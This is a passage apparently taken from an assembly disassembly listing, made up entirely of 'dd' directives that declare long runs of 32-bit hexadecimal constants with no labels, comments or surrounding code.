		dd 430A001Bh, 0AD5E1776h, 25BD34Dh, 449CA030h, 29AC0012h
		dd 5157D2C9h, 161EC706h, 7D44CAFEh, 78A23A5Ch, 6766D00h
		dd 6C029F10h, 0D4100090h, 7F00A435h, 941896BDh,	0A89027D5h
		dd 862D0207h, 1DF23B99h, 1CA8705Ch, 0E4CD31D3h,	38A000ACh
		dd 0D02A597Bh, 6F630501h, 5D49C97Eh, 7615CC24h,	66E61462h
		dd 0CFE7201Eh, 0E80092B1h, 0C5D5A7E3h, 6210029h, 0F7530915h
		dd 0D1049CB2h, 4E22EE2Eh, 5040B4CDh, 80A8CB48h,	9D7865D1h
		dd 0C8D91830h, 1F43B6Ch, 0DACEF755h, 0BBC5C850h, 7014A618h
		dd 64046424h, 2A4749EEh, 0D37CB0EDh, 0D21939FAh, 5E08F2CBh
		dd 0E58B218Eh, 35556162h, 9400E444h, 0C22F5C12h, 7C310D62h
		dd 0D4584C25h, 189CB681h, 7848FF74h, 0CE49105Ch, 9172209h
		dd 2E54C882h, 104A6C03h, 340410h, 0A9B0B4Bh, 3226375h
		dd 7D1F973Fh, 0A097088Ch, 42FB2735h, 0F2009670h, 258FD87Eh
		dd 382CFC84h, 0F63B2B87h, 26DEE683h, 0FDF0EF05h, 921E2ECBh
		dd 8D8B1C07h, 0E6B08381h, 0E0B3A8BFh, 0D022008Ah, 5BEA6074h
		dd 7200F443h, 7AD26410h, 6FCCB5h, 4174B711h, 263C5609h
		dd 0CD658E0Fh, 3527E06Ch, 46713A9h, 384881D9h, 0B7CEC02Bh
		dd 17DA653h, 345DF60Ch,	0FB3170h, 64B24C19h, 9974EBD3h
		dd 7718FA61h, 76D06749h, 38E300CDh, 0B35AC241h,	0F300F808h
		dd 774E8303h, 302D8F2h,	19FD073Ah, 4800C944h, 0F3859B11h
		dd 76B76EBh, 5B36138Fh,	6FA780A8h, 0FA39210Dh, 0D35C9BFDh
		dd 0C14CE079h, 77DD0803h, 0C82634Bh, 8047AD06h,	66BF9286h
		dd 8EF50014h, 0E7D31DCEh, 7160315Dh, 824DD0C9h,	45A60656h
		dd 19668D5Ch, 1D082B07h, 61402F32h, 99CE16h, 0FD5E18Bh
		dd 74FBAEFAh, 5D350E00h, 0DA138D78h, 0F207781Ch, 4711C184h
		dd 868328E8h, 0CE583480h, 0CC760F58h, 5CE02DE7h, 55E1AC6Eh
		dd 70C84400h, 455E4C24h, 0D2BA0039h, 320990B2h,	3A60B530h
		dd 17232719h, 9F7CE6h, 2B912EC4h, 5C99DACAh, 14774500h
		dd 944B371Fh, 0A3ED0071h, 39B0CEC8h, 3D404F04h,	0B2C700A9h
		dd 3A47430Fh, 0EFF0B661h, 0E2E8B3Ch, 0DE49BEh, 13B1AA24h
		dd 0FC9A4839h, 0ACDCB700h, 0ED9B373Dh, 501E6FFAh, 11033330h
		dd 64BCAF5h, 8467CC28h,	1308188Fh, 419B65h, 0A8F52645h
		dd 7E60E897h, 0BD14C068h, 394EAACh, 4BE765Bh, 0A00121AFh
		dd 0AB3940DFh, 818324B1h, 4350B887h, 0D4DE5800h, 5BEB6F5Ah
		dd 40683945h
		dd 0B32D18E0h, 0A43DBADCh, 28891E32h, 0A04D9E3Ch, 11CBCC1Dh
		dd 158A829Ch, 9AA481A8h, 76F597B7h, 0B59B4840h,	5C108451h
		dd 0DD1F341Eh, 0C8A0588Dh, 366252B6h, 363920E8h, 0C076CC21h
		dd 0C7AB4E9Ch, 467ACF1Eh, 7B14C4C3h, 54681811h,	5D41F130h
		dd 0A4059FF4h, 17313C24h, 51A248C0h, 64E903B6h,	2E3210E1h
		dd 5BC2C900h, 2C531129h, 0CA340F38h, 812065F1h,	7C620F93h
		dd 78C638h, 0B43946D6h,	0DE54B7h, 0BE5EA868h, 22C6349Dh
		dd 80272D38h, 0E7FD1A4Dh, 0E6F247BBh, 4CCA54A1h, 8CDB002Dh
		dd 0F8A3609h, 0C503C423h, 0B242D6B4h, 919E48h, 96C85540h
		dd 883FD7FBh, 688AD901h, 6B69CE25h, 3C332C4h, 0C67BD675h
		dd 82A7B77Ah, 0B480B411h, 3AB6656Ch, 22004148h,	72303A49h
		dd 23C9027Dh, 4C6D7C90h, 6A70B8A0h, 0FF1E2476h,	0A805DE4h
		dd 0E52CD7EFh, 922301E9h, 43EB19E0h, 5DF8830Eh,	0B875E89Ch
		dd 3B2497Ah, 67114568h,	5009D12Ah, 1BEB835h, 30483A2Ch
		dd 1C7FD180h, 0A5671A77h, 0FDF31603h, 90C26EE0h, 7B40365h
		dd 7319A7E1h, 8F273037h, 4D1A6A41h, 1D10383Eh, 0DA224104h
		dd 0F708098h, 2CEF8B54h, 0B46E003Dh, 0D3E13E1Eh, 2D06AC53h
		dd 5FDEEC22h, 8C6B2228h, 0D9A44h, 74695123h, 50B367C9h
		dd 950005E6h, 0FA1EF1DFh, 3FC3903Ah, 0B6007ED6h, 0DB5E3B40h
		dd 0BD0427DEh, 15815778h, 714B5F80h, 0CDAF0066h, 864CB1F7h
		dd 1CF0ADB7h, 22DD2F02h, 830C0EDEh, 0B8339D99h,	0F9FC156h
		dd 5A328B9h, 9260009Eh,	450BCAF0h, 82369700h, 106F5F08h
		dd 0EE0E7817h, 0DE9B0086h, 65F9CA78h, 0B512464Ch, 0D3010515h
		dd 5FFA27B6h, 3CADC730h, 0F600B498h, 30D15108h,	4F007C8Dh
		dd 4E44FDAEh, 53637h, 964AAB0Bh, 8C39D1B7h, 8EEE0F0Fh
		dd 0A698C0E6h, 14536382h, 0B8187302h, 97F6FD00h, 0CC34461Dh
		dd 4E55EF01h, 0E18D6F16h, 3829F20h, 299C51D1h, 86C0A39Eh
		dd 8A001C2Bh, 0D021AD83h, 0B0192Fh, 22C358B1h, 63DB7A3Ch
		dd 3909BA38h, 0EC528189h, 0EE2C7031h, 3BC920h, 8B729458h
		dd 0C528EF6Eh, 5F8D7B00h, 0D90F69E8h, 1076000Eh, 4E3EF96Ch
		dd 59000DA1h, 4604D6FDh, 7B99EB68h, 6F960036h, 0EA952884h
		dd 0FB0012E0h, 511174A4h, 1B54C83Fh, 0E01DC936h, 5545E616h
		dd 0AF6B8703h, 910998FCh, 22F501DBh, 0B79446F6h, 0BAD62082h
		dd 5A004478h, 0B923E34Fh, 6D5B6Ch, 576F0811h, 0C9BB6A8Dh
		dd 4B0FB24h, 22A9CB00h,	16677B27h, 0EF3144h, 2A1D82D6h
		dd 37AA88Bh, 0A1335101h, 5A857E1Eh, 736DDDE0h, 178C2442h
		dd 3363050h, 0D33C0EA7h, 8329BC81h, 89D02A9Ah, 0E4A1D0A5h
		dd 92080162h, 48A9DA4Ch, 0FF94212Bh, 510D6DF0h,	33CAF800h
		dd 0D12497BCh, 7FAD009Ch, 0FB6322EBh, 61E3D7Eh,	803D9AF7h
		dd 5B847556h, 6BDDB5h, 0C8C92EC5h, 4627C38Fh, 7898B930h
		dd 3AE70C5Ah, 32870DEFh, 0C094924Dh, 99FE54DCh,	14F63500h
		dd 491B38EAh, 0D36F0013h, 82BDB815h, 20048E91h,	601EB77h
		dd 433B84C0h, 585262ACh, 63E0265Eh, 0C01F955h, 916B6179h
		dd 0DAE9E1CEh, 2981C531h, 0A3B10E97h, 0C1118EE0h, 0BA9E0A4h
		dd 13A1CD55h, 0E3233D8h, 0FF5814h, 8DABEE5Ah, 0AF01A636h
		dd 20D9F8FFh, 5CE54D4Ah, 37C824h, 0BBB4BACAh, 2E816132h
		dd 18FC9C07h, 7EC02B98h, 334B98Eh, 12222A68h, 24CEA507h
		dd 26807B48h, 0BF07C113h, 6C49F9Ah, 0C8B9C080h,	0A0953044h
		dd 0E1F26711h, 0C400DEFCh, 98D65364h, 6804E2h, 0D245C359h
		dd 2C5BE082h, 56F06B01h, 26C592A0h, 54A6C880h, 0EF17E8F8h
		dd 0A7B0830Ch, 0DB93Ch,	15B666ECh, 22944A38h, 4834DC3Fh
		dd 5ABC0FD3h, 7B5380D6h, 0C0A93FB6h, 0D7070988h, 8209833Ah
		dd 4CB85Dh, 0BFE90E7h, 1ED00D4h, 31CB498Bh, 91032794h
		dd 80D9F97Eh, 0CC0B433h, 801A2477h, 4A7CA8B1h, 3D71F701h
		dd 0FE76B4ECh, 18FBC680h, 93914B08h, 0CBF35200h, 319EE746h
		dd 1C6B00D4h, 827834B5h, 0D60086DDh, 62D73926h,	7A764B64h
		dd 2F0F00Bh, 0FCE5F65Ch, 8077D9D0h, 0FF570273h,	0BF5B002Dh
		dd 5EB489EFh, 4700D879h, 8B8A58D6h, 0FC42E06h, 44F62D0Ah
		dd 0C01EBDEEh, 46146655h, 2C756E24h, 8925B700h,	0E933D4F2h
		dd 3FE0EF73h, 0B12314B3h, 8C07B831h, 0F0EFA829h, 46CDF405h
		dd 2BD46500h, 173B52A0h, 16AF001Bh, 0C29BBF73h,	5F071E41h
		dd 0FD7DE39Eh, 17D6FC00h, 4C9F00E7h, 0AFC9EDB9h, 3000C1D4h
		dd 11ADF5C3h, 1884BA8h,	7FFD4017h, 0C03BABA0h, 0CC14A28Eh
		dd 2AC0AECh, 0FC9AC841h, 381D60C5h, 5AF90FBFh, 190987A0h
		dd 1266FF03h, 0B3C02CC0h, 0D653700h, 9C56EEDEh,	0AAFC00B4h
		dd 14BFBB11h, 721FB259h, 0B828DAA9h, 0C91E4700h, 55E3FB6Ah
		dd 19823C33h, 1968781h,	20391727h, 62063114h, 47B950E0h
		dd 42A70010h, 60781091h, 66306376h, 23621838h, 0C03F01BEh
		dd 449CD746h, 705430B8h, 0B11DE901h, 139A63C7h,	1EA7120h
		dd 1648C987h, 312924DEh, 0D4266054h, 8496EE24h,	146DEB01h
		dd 9CD442A9h, 48A5739Bh, 0CB0108D7h, 41781EE6h,	1BD83014h
		dd 6F631F01h, 0A80E289Ch, 32AC30h, 9419C5FFh, 0D607608Eh
		dd 1D0238B0h, 96B9D425h, 23C9C09Bh, 0F871E3h, 0AED30919h
		dd 0C38BC87Eh, 6F35A403h, 0F95A05ACh, 6420E143h, 163B007Ah
		dd 8AFD131Eh, 4F003495h, 0B95201ECh, 9A7899A4h,	76DB0054h
		dd 98257065h, 220007C7h, 0CE9F0375h, 3A7A64h, 0D7586A35h
		dd 9979E79Eh, 500FFFCh,	78C9EF87h, 712BC2BCh, 0DEAF0CC1h
		dd 0C05689A6h, 83987202h, 60AE76D4h, 59C70BE0h,	38005C27h
		dd 0D97250EFh, 0A0216F9h, 7FA4765Bh, 5EFE00DCh,	0D800A98Bh
		dd 5C2507B3h, 0B18628h,	3305ABD0h, 0BC9D2F4Fh, 19C4E700h
		dd 0CAFC6B37h, 2D5D28B9h, 0A4E64D30h, 4106E04Ch, 8B9B58Ch
		dd 8E5FA117h, 11BAC00Ch, 89AD44E2h, 68C78B09h, 50050069h
		dd 2E0E3306h, 1EC86260h, 1A8983D9h, 0E0D07077h,	0D118A40Dh
		dd 9A38BBCEh, 48996073h, 2F1D427h, 710089DFh, 0E554A355h
		dd 97321444h, 1C060819h, 4027AF2Bh, 1B3B409h, 0A257812Dh
		dd 98C98287h, 0A93E8864h, 20809C6Ch, 0EBDC1FD3h, 4B00195Fh
		dd 0C912EFC5h, 58FB8005h, 5E007648h, 0B2FC6528h, 3E00B088h
		dd 0B69BA9F7h, 0EE7C2DB7h, 34788Ch, 738216ACh, 8833B35Ch
		dd 9AE5FA17h, 11A61F00h, 0FEF7B989h, 7C2F0071h,	0D2E0D9CBh
		dd 0A1009259h, 98B27D13h, 1E9A41DBh, 401FDDE6h,	992E0BA7h
		dd 8800BE24h, 184B5CE7h, 8DE2BAh, 83C54495h, 1B91768Bh
		dd 0C168631Eh, 39709E3Bh, 7A3D9901h, 0DC503421h, 1EAEC47h
		dd 8BD1B9B0h, 9881B21Dh, 0F1214308h, 0FCEA00D3h, 0E7F6186Fh
		dd 9F2C9840h, 0E2013CA9h, 2C35F71Ah, 0B1D0A057h, 0CC0ED73h
		dd 0A94252DEh, 21C03F09h, 0E873C978h, 0E1D6076Fh, 0C207AD56h
		dd 38202D94h, 52E8269Fh, 0F900C44Fh, 7FD70304h,	2B19A1A3h
		dd 0C08F39Ah, 0FCDB2184h, 3A1A8002h, 767B4236h,	0F91BD9E7h
		dd 992C41C5h, 4073F96Eh, 9E082880h, 98410100h, 50B5DFD7h
		dd 2D070EA5h, 11E15FD3h, 0EF97BE3Fh, 0C6809806h, 1F20302Ch
		dd 8C1437BCh, 1B10A254h, 2325E900h, 363D9A9Eh, 263FF8A0h
		dd 7AAD14h, 47DD6003h, 8A390544h, 0F08686B0h, 0CEA9E1h
		dd 576F5951h, 7DEA1DADh, 86008D75h, 0E3A0C82Eh,	0AAB8B3h
		dd 9141D5E4h, 0EFCA444Eh
		dd 8AB0757Eh, 3ACB6500h, 358FC664h, 202C0096h, 0A4CA0D73h
		dd 0E03210Ah, 9EF06C4Bh, 0BC6AB86Dh, 0C9A70026h, 7608AD94h
		dd 0E63F6668h, 0F704827Dh, 0E0504F75h, 68276CF4h, 0F004315Ah
		dd 0CC60745Fh, 0AC978210h, 0D3680E30h, 0B520F171h, 0C2C0A8EEh
		dd 0E15F2000h, 82548004h, 29A964D5h, 116622A5h,	442A0875h
		dd 0F244E916h, 89BC449Ch, 13AF2284h, 65115D42h,	81D21B9h
		dd 6190128Eh, 48BB5E84h, 11E84FB1h, 198E1590h, 0E2C52271h
		dd 851E00DEh, 0E19302BCh, 323FA19Ch, 6A1B0041h,	8E2F61BAh
		dd 14234816h, 79625C00h, 447DFC4h, 0AD8AE800h, 142B5DEAh
		dd 0FD950048h, 5290298Dh, 0BBEE0423h, 24415504h, 0C0BFFC5Fh
		dd 545C1FE9h, 0B903AAE0h, 0F619F7D2h, 988BB6h, 22183978h
		dd 2C934CB3h, 8506D90Fh, 9944007Dh, 2470A1h, 11ED6E4Ah
		dd 0B573DC21h, 0E37EA00h, 97EE0A14h, 42BC0076h,	75A28998h
		dd 25037AB9h, 63339578h, 2117D83Ch, 1E8E0072h, 302D4380h
		dd 0F01D5DE2h, 877EA952h, 0FA1DBFD0h, 7C876CE0h, 33DB1DFCh
		dd 0F7680DAh, 30FD82E3h, 0E2EE93E8h, 35FFD501h,	0D34ADDD2h
		dd 9031CFDCh, 1297967h,	30A217BFh, 0C0BAEF8Eh, 4912EACCh
		dd 8200C00Fh, 0D61B02B3h, 7CA30003h, 238F3057h,	0D00B7B2h
		dd 0EE3D3F15h, 1EC025DCh, 3E2A1B63h, 0B280312h,	0D1812B58h
		dd 0DCD0E369h, 25FA70F1h, 0FC0C0600h, 0F085DFEDh, 505301EBh
		dd 9A7BDB4h, 7CC1C48Fh,	3894A900h, 176A86CDh, 6D71000Ch
		dd 0F20E9693h, 0F10F9E4Ch, 0C09A7AA0h, 0C05C8281h, 7EF0794h
		dd 670FFF34h, 0F2ABB0A4h, 8300BE6Eh, 7D89061Fh,	1C6A3A18h
		dd 403B8523h, 0A348558Dh, 0DA49A0C5h, 0E82000B0h, 6E38E9CDh
		dd 58A40052h, 852889B6h, 0AB7C10A3h, 486A5E01h,	654331A5h
		dd 1FBA74F4h, 83F614E1h, 9E64E94Fh, 75B5D4C8h, 1DEBFD07h
		dd 20E0E7F8h, 689BA1h, 0E3892574h, 0B04EED06h, 103C6116h
		dd 66789500h, 0EF67EBh,	0AEF05CF3h, 0ECDF41D4h,	60614000h
		dd 0D611E0FFh, 0EBB600CEh, 9B4AF656h, 861F1A5Dh, 4080A43Fh
		dd 39D41C83h, 0BAED000Ch, 0D061F946h, 540045DDh, 57EBFA22h
		dd 1D0E80h, 4DF72AF6h, 0BEEE0801h, 29512400h, 94FB3055h
		dd 4ED40E17h, 2D400DCBh, 32DEADE8h, 940A5E28h, 83A7F03h
		dd 0B8186768h, 0A6B349h, 80932BC4h, 4DFA0E22h, 34729B00h
		dd 0F99E97ABh, 0BFF31ED1h, 0C6509CDBh, 12CEAA62h, 4D1FC1B0h
		dd 0E6C0D73Eh, 9AB7507h, 541C006Bh, 80F13AE3h, 951F57AFh
		dd 3C40B468h, 594AFB56h, 0EB253F79h, 9C180880h,	0BBA9BE28h
		dd 70867D1Fh, 0C3124D03h, 0E9A0B9E4h, 249E0h, 7CD89FBEh
		dd 2DC2A70Dh, 0A4BD0526h, 0C3270639h, 928DDF8h,	33315837h
		dd 9F950400h, 4FFA8D69h, 1185E60Ch, 25C7808h, 0EE3C9332h
		dd 0E883FFF5h, 80ADD370h, 1E920188h, 63D6A30Ch,	3D671050h
		dd 0A9002466h, 3670E7D0h, 0C0001602h, 0AF7112E6h, 0A6475Eh
		dd 0CC9DAA06h, 26856945h, 17683Ch, 1FA09718h, 790DA5Fh
		dd 0C1EEA674h, 0E74C002Bh, 0B301622h, 0D13CB8E8h, 0AAB2C034h
		dd 0F144871h, 157D4F00h, 5EB055B6h, 0BEF0001Ah,	712DE6D0h
		dd 230006E4h, 0B781BC83h, 2CD699Ah, 5ADE1FD2h, 4C686FB6h
		dd 0D88B7C66h, 0E81FCE8h, 5FD2FB1Ch, 0BF741D9Fh, 83514100h
		dd 69794DF5h, 0B30EEB04h, 0A8804604h, 0F4B087E6h, 112E005Eh
		dd 73CBD347h, 50007427h, 0F9A87556h, 1E545A39h,	5DC3E18h
		dd 0C0F12277h, 19307C6h, 0CD6D3200h, 3306AD26h,	0E15E00A6h
		dd 46EC49E3h, 3500547Ah, 0DA088DF6h, 488BFADCh,	4780E0E7h
		dd 2417AE5Fh, 1D85D00h,	0BED7167Ah, 9DE10042h, 6D7022EBh
		dd 8538F427h, 64589E3Ch, 0B0F749h, 0D59AE5C8h, 8DC1004Fh
		dd 27E19E46h, 0A21E9408h, 0DB80AF57h, 68696A8Eh, 0FF3E00F2h
		dd 0F555B526h, 4814CC96h, 80592Dh, 0BB4AA4D8h, 770C0FBh
		dd 120FF839h, 0B968F0ABh, 1A00F511h, 0BC95F3FCh, 72CE097Bh
		dd 0D343003Bh, 6CCA0835h, 0A8FAD168h, 1C338413h, 0DDB8C400h
		dd 0CC3D7186h, 78209E11h, 1034ED00h, 0DB11403Ah, 18695CE0h
		dd 51C92909h, 0A4479820h, 7F070FB6h, 0F3EEE086h, 7E7D9630h
		dd 0C1F7003Fh, 3401FACDh, 0E21856ACh, 8E6060CCh, 3C823F0Bh
		dd 58766D80h, 0CB83E61Ah, 48174C00h, 0CC591866h, 9FA700EFh
		dd 6AED2EDBh, 7D5822EEh, 171314CCh, 0B4010BCBh,	0E59B8023h
		dd 9744DA0h, 5203BDCDh,	11657880h, 0CA017D72h, 2FF9601Dh
		dd 746435A0h, 87610427h, 80B4E08Ah, 41A6B1D8h, 0D25F9904h
		dd 608097EDh, 11AD375h,	8F7EBD8Ch, 400921EBh, 70C20EACh
		dd 9EFD4B03h, 0B059ECB9h, 0C2753856h, 9D6D1CFCh, 55741CE0h
		dd 0B00D6FCh, 0D8A762BAh, 207FC0Fh, 9C024FF3h, 0AC8112C5h
		dd 76A34D2h, 2154C9B2h,	0F7898EF4h, 0FE03C880h,	72EB900Fh
		dd 547B4097h, 2BDEAEDh,	983A31F1h, 6081FD36h, 40C43DE3h
		dd 467283C4h, 259384Ch,	1536AC29h, 92EC40DAh, 78F0484Eh
		dd 0C2A69B00h, 79CA732Ch, 5AFB8103h, 1F665507h,	40F9E790h
		dd 51023D9h, 5D2431B2h,	803C3464h, 0ACE326C9h, 3793E41h
		dd 4EABD295h, 0C13D395Eh, 0F0DF83B4h, 0EB5BE9h,	7A22D90h
		dd 0ADA52814h, 9D8BF101h, 0D3EA77C2h, 76271E4h,	6DA7049h
		dd 2A97604Eh, 773401Ah,	0A0568800h, 0CBA5E26Ch,	50FB0014h
		dd 107C3C06h, 2A00BEDEh, 4FCE8C90h, 6F16B7h, 286618F5h
		dd 40077FBCh, 0F21B6800h, 582E878Ch, 3E7700A9h,	0E237E884h
		dd 0C0000DAEh, 18EE48EAh, 280714A3h, 806423h, 3AB367C5h
		dd 5D8E7738h, 0EFA49A00h, 0D5B9F47Fh, 0D6520074h, 7514A961h
		dd 4F00F165h, 0B1FECA3Eh, 0E7AB23h, 63F3092Ah, 31907085h
		dd 47B40300h, 6817067Fh, 0D94D0071h, 4C5C97E5h,	0F8EFF488h
		dd 8F00691Ch, 0D4BB10C3h, 0B87C5877h, 6C090058h, 0D579497Dh
		dd 80070A03h, 44FBA5ECh, 0D8D01807h, 17AD0CE9h,	96381Dh
		dd 0A522155Ch, 0AB3F4E6Dh, 0F3A98F45h, 142EE03Bh, 64E1FCh
		dd 394AA502h, 9D5FD125h, 7D947000h, 0EC611123h,	0AF4B062Dh
		dd 506BE8C3h, 6ACCD317h, 14FAE400h, 0E6672D52h,	0EE83055Eh
		dd 80F51F82h, 2CD1BC08h, 561FC490h, 4D800A41h, 0E740971Ch
		dd 31D0011Fh, 0ADF2C342h, 82F8F086h, 69DA0F00h,	9B373BFEh
		dd 2CF4BA10h, 42C02A15h, 83006D82h, 0DDA738h, 2E07EED9h
		dd 0D1C95F7Ah, 8C007E79h, 35E48801h, 965ADD4Eh,	0A7030970h
		dd 0D5D18C10h, 75BF780h, 0B3D6939Ah, 71ED707Bh,	1B4C6B37h
		dd 0FA430046h, 12840390h, 0B3C130E3h, 22B1E848h, 66D09101h
		dd 86310D46h, 0B0946DD4h, 0F5C30E6Fh, 0A7C25143h, 20C45638h
		dd 0EFDBD302h, 40C17D2Bh, 0A7FF15h, 22099863h, 235289FDh
		dd 0BF58F800h, 0FEEA903Fh, 2C5C58C8h, 6DFF8A00h, 5855C920h
		dd 6176701h, 644A7C69h,	27D5003Eh, 98AC7F02h, 3AF0D43Ch
		dd 0ADEA80E6h, 6A827A53h, 2DA71D46h, 0B0B1C01Eh, 17AA24BFh
		dd 893DF600h, 0DEF82108h, 0FD770012h, 0C3FB4513h, 47006925h
		dd 0BB55C70h, 0B8A03A9h, 5276F27Fh, 85C56083h, 50ECF398h
		dd 0D44A5100h, 0A065C49Dh, 4DCA0021h, 0C07D20E5h, 0B800B40Dh
		dd 7A34DFB6h, 550A9Dh, 8E17374Fh, 0E9A7ECA1h, 7B54B001h
		dd 0D768B813h, 159DA20h, 34693537h, 0D477112Fh,	0F03CC848h
		dd 7E3E41h, 43FBACD1h, 50DFF1BEh, 33CF05Eh, 0AAA6B55Dh
		dd 0CE853B1h, 0F2001C27h
		dd 73C01ADDh, 98E770E8h, 0BCDE58E6h, 0A7987700h, 60651F29h
		dd 3C01CBECh, 1EAF6EEDh, 0B07B4DEAh, 0CE00621Ah, 46E7C0F0h
		dd 658009h, 51FD7679h, 0B3BFA732h, 0CFB1771Eh, 729F4440h
		dd 12ADD9F5h, 603520h, 343B1894h, 0D200F20Eh, 9E4D5AD4h
		dd 7A941D3h, 1974C723h,	62FA50E7h, 5300A74Ah, 69AA2512h
		dd 590AEDDh, 295A0A0Eh,	0F97EC0DAh, 0B500D3E6h,	598A1575h
		dd 0A0710C5Dh, 8DBC8h, 79B3D7D5h, 6C722E9Dh, 0A4236A00h
		dd 8D2A0529h, 52BB0C02h, 0A3186BB3h, 65FA2804h,	55C1F0B9h
		dd 94DCC6E6h, 9B712D2Ch, 0DA079458h, 0BD5135FFh, 0D836BA30h
		dd 1CFA0274h, 531EE5Eh,	69E4EC60h, 1E16EF39h, 9380D3CDh
		dd 4CF439F7h, 375E0F9h,	15E545C8h, 30000359h, 0AC26929Ch
		dd 3C6C6388h, 0A8801960h, 8AF5C210h, 9B1675A2h,	22002E28h
		dd 62AEE51Bh, 963C0031h, 0B5FFF1DBh, 9900B3E0h,	0C2B9C0D7h
		dd 9EBEFDh, 0DAF9CC71h,	4619B4D6h, 0A7780700h, 0BD01866Ch
		dd 405B008Eh, 32DBDFCAh, 0B801E47Bh, 23EDF878h,	5B70A334h
		dd 8D8900A1h, 0FCE20438h, 0DD002CEEh, 4AAFAE13h, 388E9D1Ah
		dd 279C1F91h, 94F540C1h, 2609A4BDh, 2B028600h, 0C8F13F80h
		dd 0A9833A0Ch, 0B11C200h, 0C1780634h, 23285303h, 0DC028B16h
		dd 76FE8E0h, 0CBBC80BDh, 4FEC252h, 72C1070h, 95092C9Ch
		dd 0E60480DDh, 0F973E757h, 4DE0FC20h, 0F11E54D3h, 0D73D4044h
		dd 72BD6403h, 11F62200h, 24959207h, 0F54404CBh,	0C3D49EE5h
		dd 45B0C690h, 5D009B66h, 0E8EF4EE7h, 0BD7F26h, 8613564Ah
		dd 10740C60h, 0D32BF305h, 0F8C24118h, 8018406Ah, 9570CAh
		dd 338249ECh, 3BC11E10h, 53398F03h, 76873F8h, 1C77E228h
		dd 0A0876917h, 0E8F350B6h, 4F01DD8Ch, 0B0822247h, 0FBFCB536h
		dd 3A6D1E48h, 5EBB00C3h, 1205BC58h, 0D811A000h,	0EEFFD5F6h
		dd 0E4AF12CEh, 5CBF00CBh, 9E372ED7h, 1F7F3100h,	244FA949h
		dd 2BBC010Ah, 0A6DEAC5Fh, 8668CC63h, 0F0220B3Ch, 0CE371405h
		dd 70C1EE49h, 40CC2CF6h, 746E0FD8h, 3720C325h, 5076098Ch
		dd 0D7A4AA00h, 2BEE0D82h, 0BBB701BAh, 4DB0B5A8h, 0FEC041D3h
		dd 47F0C44Ch, 4EF04267h, 0D8F9B113h, 2AC5A33Fh,	78E41FEFh
		dd 7D4A009Fh, 35974F25h, 0A207FFD7h, 6BCBFCC0h,	38CF3750h
		dd 16BCB4C7h, 6E703117h, 6B4A0071h, 6C4B8Ch, 72C95238h
		dd 0F80669A2h, 5E84DE2Fh, 7660468h, 0C0DF6C30h,	4B51C618h
		dd 0F2A7F40Eh, 29ED20D5h, 0FD9BA74h, 5BBE98D3h,	79A1FA00h
		dd 8800594Ah, 0ECB18312h, 28A845h, 0DB24B287h, 6C49E44Eh
		dd 9CF9C70Eh, 0E76E40A1h, 0EA0F853Ah, 60B00AEh,	5F787188h
		dd 4E00FFD6h, 0BD1C132Fh, 90EE080Dh, 32C50038h,	1B460FEBh
		dd 340031D8h, 0A7958805h, 0EE2854h, 8F117C09h, 5ABF4A1Dh
		dd 7F804C01h, 0A8B47178h, 3F37A4E4h, 4600E33Fh,	90E6D9Ch
		dd 9A1E8BB0h, 960BB882h, 8838A06Ch, 210131h, 56E5C9E4h
		dd 0ADE6BE4Fh, 0C795CF05h, 94005B48h, 0D7C47E2Ah, 0E674B862h
		dd 87A20086h, 6A44A6C3h, 0ED011CA1h, 0C59064Dh,	83E0E052h
		dd 3FFD3BB6h, 35769B00h, 6C11815Eh, 0AAB43Bh, 0E3DC2FE9h
		dd 0E2E049h, 0F936549Dh, 33D67C60h, 88FFE802h, 8021CD61h
		dd 65C367F0h, 8FB01C50h, 6E9AC5C1h, 49BDC03Ch, 0D9007697h
		dd 1C59F694h, 1B5F273h,	0D86E8881h, 0E4CDAB63h,	2600E1CAh
		dd 0DC06A78Ch, 6025B4h,	0AD07E6C8h, 5BC07204h, 90142B13h
		dd 5CC0811Dh, 0D102CF28h, 0E0DE000Fh, 8731A4FEh, 0C201550Bh
		dd 3CA1F3E6h, 0E0D254CDh, 0F8193Ch, 0D4B991BBh,	2C27265Dh
		dd 0EC823Ah, 0CBB469FEh, 17E6B8Ch, 267156D7h, 30D8A4D0h
		dd 0CF00A319h, 0D25A272Ah, 172EE04h, 18EC530Bh,	7F9AACC5h
		dd 0C4A0A680h, 544F1Ah,	3841DC88h, 0EC099B73h, 27CB1F15h
		dd 23228924h, 0B210E13Eh, 9D36F8h, 71116795h, 0E088803Ah
		dd 4A69F600h, 0A786B066h, 0CE910083h, 9BB6C167h, 705853DAh
		dd 8C300CFh, 0B8CA483Fh, 4B1A002Bh, 0E2D6C58Fh,	7900D51Eh
		dd 66CB7EABh, 507528h, 0E19A6AD0h, 916020DAh, 311EC48h
		dd 300CBA9Bh, 0E2F89A3Dh, 8450E8h, 3EAF63C1h, 319A8334h
		dd 0FBA09605h, 0DC25F5D3h, 10AD4C00h, 31D6171h,	0FAC6426Bh
		dd 0B20027CDh, 4FEF0D25h, 9C7481h, 49AFFF35h, 5CB3067Fh
		dd 37ED8D15h, 0D1530094h, 8E95FC2Eh, 7DBE0028h,	0CFAC550h
		dd 6D7F70EEh, 0D0F3CE30h, 2EC360AFh, 787C868h, 307CBA6Fh
		dd 0CC4DE3E5h, 58AC1200h, 0FB71181Fh, 185958D0h, 6CCE8E00h
		dd 1ED4DF98h, 0CBAB5E00h, 70CD7CA9h, 0C5117B26h, 9051CC28h
		dd 563A74A4h, 0FDF1AE00h, 368C769Dh, 6DD02C02h,	2EBA009Bh
		dd 0A0B9E14h, 0E99B4300h, 8A3E957Ah, 0B8755C52h, 2890FD0Eh
		dd 0F81610Ah, 1FE0A664h, 4338E951h, 0EC027E00h,	1D087F5Dh
		dd 346B079Ch, 0A9E8A174h, 9BCAE000h, 202B724h, 26430522h
		dd 489DE0BFh, 189FC64h,	662E0DBCh, 60322CF8h, 160063ADh
		dd 0FBC5E025h, 33E5596h, 990AB9E1h, 98243F0Bh, 0C001E0D9h
		dd 0FEC37E42h, 3F595464h, 10055DEh, 0AB535B84h,	8E1CBE42h
		dd 80BF1752h, 0CE3A6920h, 94BDB3h, 546746C5h, 0A9845FC2h
		dd 0EE0A290h, 5A90A60Ah, 8013E4B1h, 2E671C40h, 49158Fh
		dd 2C75AECEh, 0DEBE607h, 0BF47D0A0h, 2D5E4002h,	0D2D2460Eh
		dd 59550164h, 3FF7A96Eh, 0BA90605Ch, 0DC90FD7Eh, 0E7611000h
		dd 94D5187Bh, 0BF141EAFh, 0A5FC0BD0h, 36D2B00h,	9C05FDBBh
		dd 0DE0D76F7h, 0C546B9C0h, 0F10C07BFh, 0F0D19036h, 0C2CF8321h
		dd 977F4000h, 41658834h, 43A60079h, 0EB5E6911h,	3026B3C1h
